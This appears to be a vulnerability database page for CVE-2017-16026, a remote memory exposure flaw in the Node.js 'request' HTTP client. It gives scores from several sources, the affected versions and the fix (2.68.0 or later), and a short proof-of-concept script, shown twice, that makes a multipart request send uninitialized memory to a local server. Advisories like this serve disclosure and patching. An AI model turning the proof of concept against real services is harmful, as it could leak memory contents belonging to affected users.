CVE-2017-16026

Remote Memory Exposure in request

5.9 MediumFix available

Request is an http client. If a request is made using multipart, and the body type is a number, then the specified number of non-zero memory is passed in the body. This affects Request >=2.2.6 <2.47.0 || >2.51.0 <=2.67.0.

Attack profile

How easy it is to exploit

Attack vector: Network
Complexity: High
Privileges needed: None
User interaction: None

What an attacker can affect

Confidentiality: High
Integrity: None
Availability: None

Exploit likelihood

2.58%Up 1.8 points since Apr 14, 2021

What each source reports

NVD Score used 5.9

Record: CVE-2017-16026
CVSS 3.0: 5.9 MediumCVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
CVSS 2.0: 7.1 HighAV:N/AC:M/Au:N/C:C/I:N/A:N
Weakness: CWE-201, CWE-20
Updated: 2026-11-02

CVE List No score

Record: CVE-2017-16026
Weakness: CWE-201
Updated: 2026-11-02

EUVDEUVD-2018-0736 No score

Record: EUVD-2018-0736
Updated: 2026-11-03

GitHub AdvisoriesGHSA-7xfp-9c55-5vqj 5.9

Remote Memory Exposure in request

Affected versions of request will disclose local system memory to remote systems in certain circumstances. When a multipart request is made, and the type of body is number, then a buffer of that size will be allocated and sent to the remote server as the body.

Proof of Concept

var request = require('request');
var http = require('http');

var serveFunction = function (req, res){
	req.on('data', function (data) {
            console.log(data)
        });
	res.end();
};
var server = http.createServer(serveFunction);
server.listen(8000);

request({
	method: "POST",
	uri: 'http://localhost:8000',
	multipart: [{body:500}]
},function(err,res,body){});

Recommendation

Update to version 2.68.0 or later

Record: GHSA-7xfp-9c55-5vqj
CVSS 3.0: 5.9 MediumCVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness: CWE-201
Updated: 2026-11-02

OSV 5.9

Record: CVE-2017-16026
CVSS 3.0: 5.9 MediumCVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Updated: 2026-11-02

OSVDEBIAN-CVE-2017-16026 5.9

Record: DEBIAN-CVE-2017-16026
CVSS 3.0: 5.9 MediumCVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Updated: 2026-11-02

Show 7 moreShow less

OSVGHSA-7xfp-9c55-5vqj 5.9

Remote Memory Exposure in request

Proof of Concept

var request = require('request');
var http = require('http');

var serveFunction = function (req, res){
	req.on('data', function (data) {
            console.log(data)
        });
	res.end();
};
var server = http.createServer(serveFunction);
server.listen(8000);

request({
	method: "POST",
	uri: 'http://localhost:8000',
	multipart: [{body:500}]
},function(err,res,body){});

Recommendation

Update to version 2.68.0 or later

Record: GHSA-7xfp-9c55-5vqj
CVSS 3.0: 5.9 MediumCVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness: CWE-201
Updated: 2026-11-02

OSVCLSA-2026-1785291220 No score

TuxCare security update for request (1 CVE)

TuxCare rebuilt request to address 1 CVE. Fixed in 2.65.0-tuxcare.1.

Record: CLSA-2026-1785291220
Updated: 2026-11-02

OSVCLSA-2026-1792476236 No score